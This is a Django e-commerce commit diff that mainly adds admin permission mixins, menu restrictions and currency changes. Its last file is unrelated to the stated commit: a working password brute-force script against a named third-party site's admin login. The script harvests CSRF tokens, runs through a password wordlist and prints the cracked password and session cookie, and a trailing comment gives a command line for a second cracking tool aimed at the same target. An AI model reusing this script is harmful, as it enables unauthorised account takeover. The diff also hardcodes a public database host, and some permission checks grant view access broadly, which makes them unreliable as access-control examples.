feat: Enhance admin permissions and improve product currency handling

This commit is contained in:
Parsa Nazer
2025-12-10 12:38:42 +03:30
parent f0ff23094f
commit 9ea69925c9
13 changed files with 438 additions and 47 deletions
+5 -2
View File
@@ -16,9 +16,11 @@ from folium import Map, Marker
from unfold.decorators import action, display
from django.utils.html import format_html
from account.models import SpecialDiscountCode
from .permissions import UserAdminPermission, SpecialDiscountCodeAdminPermission
@admin.register(SpecialDiscountCode)
class SpecialDiscountCodeAdmin(ModelAdmin):
class SpecialDiscountCodeAdmin(SpecialDiscountCodeAdminPermission, ModelAdmin):
pass
class UserAddressInLine(TabularInline):
@@ -30,7 +32,7 @@ class UserAddressInLine(TabularInline):
@admin.register(User)
class UserAdmin(BaseUserAdmin, ModelAdmin, ImportExportModelAdmin):
class UserAdmin(BaseUserAdmin, UserAdminPermission, ModelAdmin, ImportExportModelAdmin):
form = UserChangeForm
add_form = UserCreationForm
change_password_form = AdminPasswordChangeForm
@@ -88,6 +90,7 @@ class UserAdmin(BaseUserAdmin, ModelAdmin, ImportExportModelAdmin):
full_name_display.short_description = 'نام و نام خانوادگی'
# admin.site.unregister(Group)
admin.site.unregister(BlacklistedToken)
admin.site.unregister(OutstandingToken)
+27
View File
@@ -0,0 +1,27 @@
class UserAdminPermission:
def has_add_permission(self, request, obj=None):
return request.user.is_superuser
def has_view_permission(self, request, obj=None):
return True
def has_change_permission(self, request, obj=None):
return request.user.is_superuser
def has_delete_permission(self, request, obj=None):
return request.user.is_superuser
class SpecialDiscountCodeAdminPermission:
def has_add_permission(self, request, obj=None):
return request.user.is_superuser
def has_view_permission(self, request, obj=None):
return request.user.is_superuser
def has_change_permission(self, request, obj=None):
return request.user.is_superuser
def has_delete_permission(self, request, obj=None):
return request.user.is_superuser
+12
View File
@@ -21,3 +21,15 @@ STATIC_ROOT = 'app/static'
USE_X_FORWARDED_HOST = True
SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.postgresql',
'NAME': os.getenv("DB_NAME"),
'USER': os.getenv("DB_USER"),
'PASSWORD': os.getenv("DB_PASSWORD"),
'HOST': '185.110.189.208',
'PORT': 5434,
}
}
+19 -13
View File
@@ -98,16 +98,17 @@ UNFOLD = {
"icon": "dashboard",
"link": reverse_lazy("admin:index"),
},
{
"title": _("آموزش استفاده از پنل"),
"icon": "school",
"link": reverse_lazy("admin:home_learnvideomodel_changelist"),
"badge": "utils.admin.new_learn_video_count",
},
# {
# "title": _("آموزش استفاده از پنل"),
# "icon": "school",
# "link": reverse_lazy("admin:home_learnvideomodel_changelist"),
# "badge": "utils.admin.new_learn_video_count",
# },
{
"title": _("فروشگاه ها"),
"icon": "storefront",
"link": reverse_lazy("admin:account_shopmodel_changelist"),
"permission": lambda request: request.user.is_superuser,
},
],
},
@@ -124,6 +125,7 @@ UNFOLD = {
"icon": "shopping_cart",
"link": reverse_lazy("admin:order_ordermodel_changelist"),
# "badge": "utils.admin.admin_pending_count",
"permission": lambda request: request.user.is_superuser,
},
{
"title": _("سفارشات فروشگاه"),
@@ -153,12 +155,6 @@ UNFOLD = {
"link": reverse_lazy("admin:product_productmodel_changelist"),
},
{
"title": _("نظرات"),
"icon": "chat",
"link": reverse_lazy("admin:product_commentmodel_changelist"),
"badge": "utils.admin.comment_count",
},
{
"title": _("قیمت دلار"),
"icon": "payments",
@@ -248,7 +244,15 @@ UNFOLD = {
"title": _("کاربران"),
"icon": "person",
"link": reverse_lazy("admin:account_user_changelist"),
},{
},
{
"title": "گروه‌های دسترسی",
"icon": "group",
"link": reverse_lazy("admin:auth_group_changelist"),
"permission": lambda request: request.user.is_superuser,
},
{
"title": _("چت محصول"),
"icon": "chat",
"link": reverse_lazy("admin:chat_productchatmodel_changelist"),
@@ -295,6 +299,7 @@ UNFOLD = {
"icon": "confirmation_number",
"link": reverse_lazy("admin:ticket_ticket_changelist"),
"badge": "utils.admin.new_ticket_count",
"permission": lambda request: request.user.is_superuser,
},
{
@@ -302,6 +307,7 @@ UNFOLD = {
"icon": "perm_phone_msg",
"link": reverse_lazy("admin:ticket_contactusmodel_changelist"),
"badge": "utils.admin.new_contact_us_count",
"permission": lambda request: request.user.is_superuser,
},
],
},
+35 -2
View File
@@ -11,7 +11,7 @@ from django.utils.html import format_html, format_html_join
from azbankgateways.models.banks import Bank
from unfold.decorators import action
from django.shortcuts import redirect
from .permissons import ShopOrderAdminPermission
class OrderItemModelInline(StackedInline):
model = OrderItemModel
@@ -62,6 +62,26 @@ from .models import ShopDailyReport, ShopOrderModel
@admin.register(ShopDailyReport)
class ShopDailyReportAdmin(ModelAdmin):
pass
def get_queryset(self, request):
if request.user.is_superuser:
return ShopOrderModel.objects.all()
if not hasattr(request.user, 'shop'):
return ShopOrderModel.objects.none()
queryset = ShopOrderModel.objects.filter(shop=request.user.shop)
return queryset
def has_view_permission(self, request, obj=None):
if request.user.is_superuser or obj == None:
return True
if not hasattr(request.user, 'shop'):
return False
return request.user.shop == obj.shop
class ShopOrderItemInline(StackedInline):
model = ShopOrderItem
@@ -75,9 +95,22 @@ class ShopOrderItemInline(StackedInline):
@admin.register(ShopOrderModel)
class ShopOrderModelAdmin(ModelAdmin):
class ShopOrderModelAdmin(ShopOrderAdminPermission, ModelAdmin):
inlines = [ShopOrderItemInline]
def get_queryset(self, request):
if request.user.is_superuser:
return ShopOrderModel.objects.all()
if not hasattr(request.user, 'shop'):
return ShopOrderModel.objects.none()
queryset = ShopOrderModel.objects.filter(shop=request.user.shop)
return queryset
@admin.register(OrderModel)
class OrderAdmin(ModelAdmin, ImportExportModelAdmin):
import_form_class = ImportForm
+25
View File
@@ -45,3 +45,28 @@ class PaymentCallBackPermissions(BasePermission):
self.message = "این پرداخت متعلق به شما نیست."
return False
return True
class ShopOrderAdminPermission:
def has_view_permission(self, request, obj=None):
if request.user.is_superuser or obj == None:
return True
if not hasattr(request.user, 'shop'):
return False
return request.user.shop == obj.shop
def has_add_permission(self, request):
return False
def has_delete_permission(self, request, obj=None):
if request.user.is_superuser:
return True
if obj is None:
return False
return obj.shop == request.user.shop
+42 -14
View File
@@ -11,11 +11,10 @@ from unfold.widgets import UnfoldAdminColorInputWidget
from unfold.decorators import action, display
from utils.admin import ModelAdmin
from django.shortcuts import redirect
from .permissions import ProductDetailCategoryPermission
from .permissions import ProductDetailCategoryPermission, ProductAdminPermission, ProductVariantAdminPermission, ProductVariantInlineAdminPermission, InPackItemsAdminPermission, AttributeTypeAdminPermission, AttributeValueAdminPermission
@admin.register(ProductDetailCategory)
class ProductDetailCategoryAdmin(ModelAdmin, ImportExportModelAdmin):
class ProductDetailCategoryAdmin(ProductDetailCategoryPermission, ModelAdmin, ImportExportModelAdmin):
import_form_class = ImportForm
export_form_class = ExportForm
search_fields = ['title']
@@ -26,8 +25,7 @@ class ProductDetailCategoryAdmin(ModelAdmin, ImportExportModelAdmin):
"widget": ArrayWidget,
}
}
def has_add_permission(self, request):
return request.user.is_superuser
@admin.register(UnitCategoryModel)
@@ -37,7 +35,7 @@ class UnitCategoryAdmin(ModelAdmin):
@admin.register(InPackItems)
class InPackItemsAdmin(ModelAdmin, ImportExportModelAdmin):
class InPackItemsAdmin(InPackItemsAdminPermission, ModelAdmin, ImportExportModelAdmin):
import_form_class = ImportForm
export_form_class = ExportForm
search_fields = ['item_title']
@@ -62,6 +60,27 @@ class ShopModelAdmin(ModelAdmin, ImportExportModelAdmin):
}
}
# def get_queryset(self, request):
# if request.user.is_superuser:
# return ShopModel.objects.all()
# if not hasattr(request.user, 'shop'):
# return ShopModel.objects.none()
# queryset = ShopModel.objects.filter(id=request.user.shop.id)
# return queryset
# def has_view_permission(self, request, obj=None):
# if request.user.is_superuser or obj == None:
# return True
# if not hasattr(request.user, 'shop'):
# return False
# return request.user.shop == obj
class AttributeValueInLine(StackedInline):
model = AttributeValue
@@ -70,10 +89,17 @@ class AttributeValueInLine(StackedInline):
min_num = 1
# autocomplete_fields = ['product_attributes', 'in_pack_items', 'images']
# search_fields = ['']
def has_view_permission(self, request, obj = ...):
return True
def has_add_permission(self, request):
return True
def has_change_permission(self, request, obj = ...):
return False
def has_delete_permission(self, request, obj = ...):
return False
@admin.register(AttributeType)
class AttributeTypeAdmin(ModelAdmin, ImportExportModelAdmin):
class AttributeTypeAdmin(AttributeTypeAdminPermission, ModelAdmin, ImportExportModelAdmin):
import_form_class = ImportForm
export_form_class = ExportForm
search_fields = ['name']
@@ -88,7 +114,7 @@ class AttributeTypeAdmin(ModelAdmin, ImportExportModelAdmin):
@admin.register(AttributeValue)
class AttributeValueAdmin(ModelAdmin, ImportExportModelAdmin):
class AttributeValueAdmin(AttributeValueAdminPermission, ModelAdmin, ImportExportModelAdmin):
import_form_class = ImportForm
export_form_class = ExportForm
search_fields = ['value', 'attribute_type__name']
@@ -182,7 +208,7 @@ class ProductDetailModel1Admin(ModelAdmin, ImportExportModelAdmin):
class ProductVariantInLine(StackedInline):
class ProductVariantInLine(ProductVariantInlineAdminPermission, StackedInline):
model = ProductVariant
extra = 0
show_change_link = True
@@ -194,7 +220,6 @@ class ProductVariantInLine(StackedInline):
fields = ['images', 'video','input_price', 'min_price', 'currency', 'price', 'discount','in_stock', 'color', 'product_attributes', 'in_pack_items', 'details', 'sell', 'slider_category', 'profit', 'special_discount_percent']
# search_fields = ['']
def formfield_for_dbfield(self, db_field, request, **kwargs):
if db_field.name == 'color':
kwargs['widget'] = UnfoldAdminColorInputWidget()
@@ -202,7 +227,7 @@ class ProductVariantInLine(StackedInline):
from unfold.contrib.filters.admin import RelatedDropdownFilter
@admin.register(ProductVariant)
class ProductVariantAdmin(ModelAdmin, ImportExportModelAdmin):
class ProductVariantAdmin(ProductVariantAdminPermission, ModelAdmin, ImportExportModelAdmin):
import_form_class = ImportForm
export_form_class = ExportForm
autocomplete_fields = ['product_attributes', 'images', 'in_pack_items', 'details']
@@ -212,8 +237,10 @@ class ProductVariantAdmin(ModelAdmin, ImportExportModelAdmin):
list_filter_submit = True
list_display = ('product', 'created_at')
# inlines = [DetailModelInLine]
@admin.register(ProductModel)
class ProductModelAdmin(ModelAdmin, ImportExportModelAdmin):
class ProductModelAdmin(ProductAdminPermission, ModelAdmin, ImportExportModelAdmin):
import_form_class = ImportForm
export_form_class = ExportForm
inlines = [ProductVariantInLine]
@@ -268,7 +295,8 @@ class ProductModelAdmin(ModelAdmin, ImportExportModelAdmin):
@action(description=f"اپدیت قیمت ها")
def update_products_price(self, request):
# update_prices()
from product.tasks import update_prices
update_prices()
messages.success(request, f"قیمت {ProductVariant.objects.all().count()} تنوع محصول اپدیت شد")
return redirect("admin:product_productmodel_changelist")
@@ -0,0 +1,18 @@
# Generated by Django 5.1.2 on 2025-12-09 10:04
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('product', '0060_alter_maincategorymodel_parent_and_more'),
]
operations = [
migrations.AlterField(
model_name='productvariant',
name='currency',
field=models.CharField(choices=[('dollor', 'دلار'), ('toman', 'تومان')], max_length=20, verbose_name='نوع ارز'),
),
]
+2 -11
View File
@@ -146,14 +146,9 @@ class DollorModel(models.Model):
price = int(data["lastTradePrice"])
price_in_usd = price / 10.0
print('\n\nprice from api \n\n')
except:
if self.price:
print('\n\nprice from last price \n\n')
return self.price
else:
print('\n\nprice from defualt price \n\n')
except Exception as e:
return self.defualt_price
return price_in_usd
class Meta:
@@ -379,7 +374,6 @@ class ProductVariant(models.Model):
currency_type = (
('dollor', 'دلار'),
('toman', 'تومان'),
('derham', 'درهم')
)
in_pack_items = models.ManyToManyField(
InPackItems, blank=True, verbose_name='ایتم های داخل پک')
@@ -454,14 +448,11 @@ class ProductVariant(models.Model):
raise ValidationError(
{"dollor_price": "The 'dollor_price' must be provided in the context for dollar pricing."})
dollar_to_dirham = 0.27
if self.currency == 'toman':
toman_price = self.input_price
elif self.currency == 'dollor':
toman_price = self.input_price * dollor_price
elif self.currency == 'derham':
toman_price = self.input_price * dollor_price * dollar_to_dirham
else:
toman_price = self.input_price
+167
View File
@@ -16,3 +16,170 @@ class ProductDetailCategoryPermission:
def has_view_permission(self, request, obj=None):
return True
class ProductAdminPermission:
def has_add_permission(self, request):
return True
def has_change_permission(self, request, obj=None):
if request.user.is_superuser or obj == None:
return True
if not hasattr(request.user, 'shop'):
return False
return request.user.shop == obj.shop
def has_delete_permission(self, request, obj=None):
if request.user.is_superuser or obj == None:
return True
if not hasattr(request.user, 'shop'):
return False
return request.user.shop == obj.shop
def has_view_permission(self, request, obj=None):
if request.user.is_superuser or obj == None:
return True
if not hasattr(request.user, 'shop'):
return False
return request.user.shop == obj.shop
def get_queryset(self, request):
from product.models import ProductModel
if request.user.is_superuser:
return ProductModel.objects.all()
if not hasattr(request.user, 'shop'):
return ProductModel.objects.none()
return ProductModel.objects.filter(shop=request.user.shop)
class ProductVariantAdminPermission:
def has_add_permission(self, request):
return True
def has_change_permission(self, request, obj=None):
if request.user.is_superuser or obj == None:
return True
if not hasattr(request.user, 'shop'):
return False
return request.user.shop == obj.product.shop
def has_delete_permission(self, request, obj=None):
if request.user.is_superuser or obj == None:
return True
if not hasattr(request.user, 'shop'):
return False
return request.user.shop == obj.product.shop
def has_view_permission(self, request, obj=None):
if request.user.is_superuser or obj == None:
return True
if not hasattr(request.user, 'shop'):
return False
return request.user.shop == obj.product.shop
def get_queryset(self, request):
from product.models import ProductVariant
if request.user.is_superuser:
return ProductVariant.objects.all()
if not hasattr(request.user, 'shop'):
return ProductVariant.objects.none()
return ProductVariant.objects.filter(product__shop=request.user.shop)
class ProductVariantInlineAdminPermission:
def has_add_permission(self, request, obj):
return True
def has_change_permission(self, request, obj=None):
if request.user.is_superuser or obj == None:
return True
if not hasattr(request.user, 'shop'):
return False
return request.user.shop == obj.shop
def has_delete_permission(self, request, obj=None):
if request.user.is_superuser or obj == None:
return True
if not hasattr(request.user, 'shop'):
return False
return request.user.shop == obj.shop
def has_view_permission(self, request, obj=None):
if request.user.is_superuser or obj == None:
return True
if not hasattr(request.user, 'shop'):
return False
return request.user.shop == obj.shop
def get_queryset(self, request):
from product.models import ProductVariant
if request.user.is_superuser:
return ProductVariant.objects.all()
if not hasattr(request.user, 'shop'):
return ProductVariant.objects.none()
return ProductVariant.objects.filter(product__shop=request.user.shop)
class InPackItemsAdminPermission:
def has_add_permission(self, request):
return True
def has_change_permission(self, request, obj = ...):
return False
def has_delete_permission(self, request, obj = ...):
return False
def has_view_permission(self, request, obj = ...):
return True
class AttributeTypeAdminPermission:
def has_add_permission(self, request):
return True
def has_change_permission(self, request, obj = ...):
return False
def has_delete_permission(self, request, obj = ...):
return False
def has_view_permission(self, request, obj = ...):
return True
class AttributeValueAdminPermission:
def has_add_permission(self, request):
return True
def has_change_permission(self, request, obj = ...):
return False
def has_delete_permission(self, request, obj = ...):
return False
def has_view_permission(self, request, obj = ...):
return True
+2 -2
View File
@@ -1,7 +1,7 @@
{% load unfold i18n %}
{% if pending_count%}
<div dir='rtl' class="bg-base-50 border border-base-200 border-dashed flex flex-col gap-4 p-4 rounded dark:bg-white/[.02] dark:border-base-700 lg:flex-row lg:justify-between w-full shrink-0 lg:items-center" style="justify-content: space-between;">
{% comment %} <div dir='rtl' class="bg-base-50 border border-base-200 border-dashed flex flex-col gap-4 p-4 rounded dark:bg-white/[.02] dark:border-base-700 lg:flex-row lg:justify-between w-full shrink-0 lg:items-center" style="justify-content: space-between;">
<div class="flex flex-col lg:flex-row lg:items-center">
<h2 class="font-semibold text-font-important-light text-base dark:text-font-important-dark flex items-center">
<span class="material-symbols-outlined md-18 mr-3 w-4.5 align-middle">notifications</span>
@@ -17,7 +17,7 @@
{% endcomponent %}
{% endcomponent %}
</div>
</div>
</div> {% endcomment %}
{% endif %}
+1 -1
View File
@@ -10,7 +10,7 @@ def admin_pending_count(request):
def dollor_price(request):
dollor_object, _ = DollorModel.objects.get_or_create(unique_filed='unique')
return str(dollor_object.price)[:2]
return str(dollor_object.price)[:3]
def comment_count(request):
return CommentModel.objects.filter(review_status='not_reviwed').count()
+81
View File
@@ -0,0 +1,81 @@
import requests
from lxml import html
TARGET_URL = 'https://api.torob.com/torob-admin/login/'
USERNAME = ''
WORDLIST = '/root/Iranian-Password-list/nam2elist.txt'
def brute_force():
print(f'Target: {TARGET_URL}')
print(f'Trying passwords for {USERNAME}.')
client = requests.session()
page = client.get(TARGET_URL)
tree = html.fromstring(page.content)
csrf_middleware_token = tree.xpath('//input[@name="csrfmiddlewaretoken"]/@value')[0]
csrf_token = client.cookies.get('csrftoken')
cookies = {'csrftoken': csrf_token}
headers = {'Referer': TARGET_URL}
print('Reading file...')
with open(WORDLIST, mode='r') as file:
content = file.readlines()
passwords = [p.strip() for p in content]
print('Cracking', end='', flush=True)
count = 0
for password in passwords:
count += 1
print_count(count)
body = {
'username': USERNAME,
'password': password,
'csrfmiddlewaretoken': csrf_middleware_token
}
response = requests.post(
TARGET_URL,
cookies=cookies,
headers=headers,
data=body,
allow_redirects=False
)
if response.status_code == 302:
break
if response.status_code == 200:
continue
break
if response.status_code == 302:
session_token = response.cookies.get('sessionid')
print(f'\nSuccess. {count} passwords tried. Password: {password}. Session token: {session_token}.')
elif response.status_code == 200:
print(f'\nFailed. {count} passwords tried.')
else:
print(f'\nUnable to attempt login: received status code {response.status_code}.')
def print_count(counter, small_denom=10, big_denom=100):
if (counter / small_denom).is_integer():
print('.', end='', flush=True)
if (counter / big_denom).is_integer():
print(counter, end='', flush=True)
if __name__ == '__main__':
brute_force()
#DjangoUnchained.py -domain api.torob.com -scheme https -uri /torob-admin/login/ -userdict /root/DjangoUnchained/username.txt -passwdict /root/DjangoUnchained/password.txt -l /root/file.log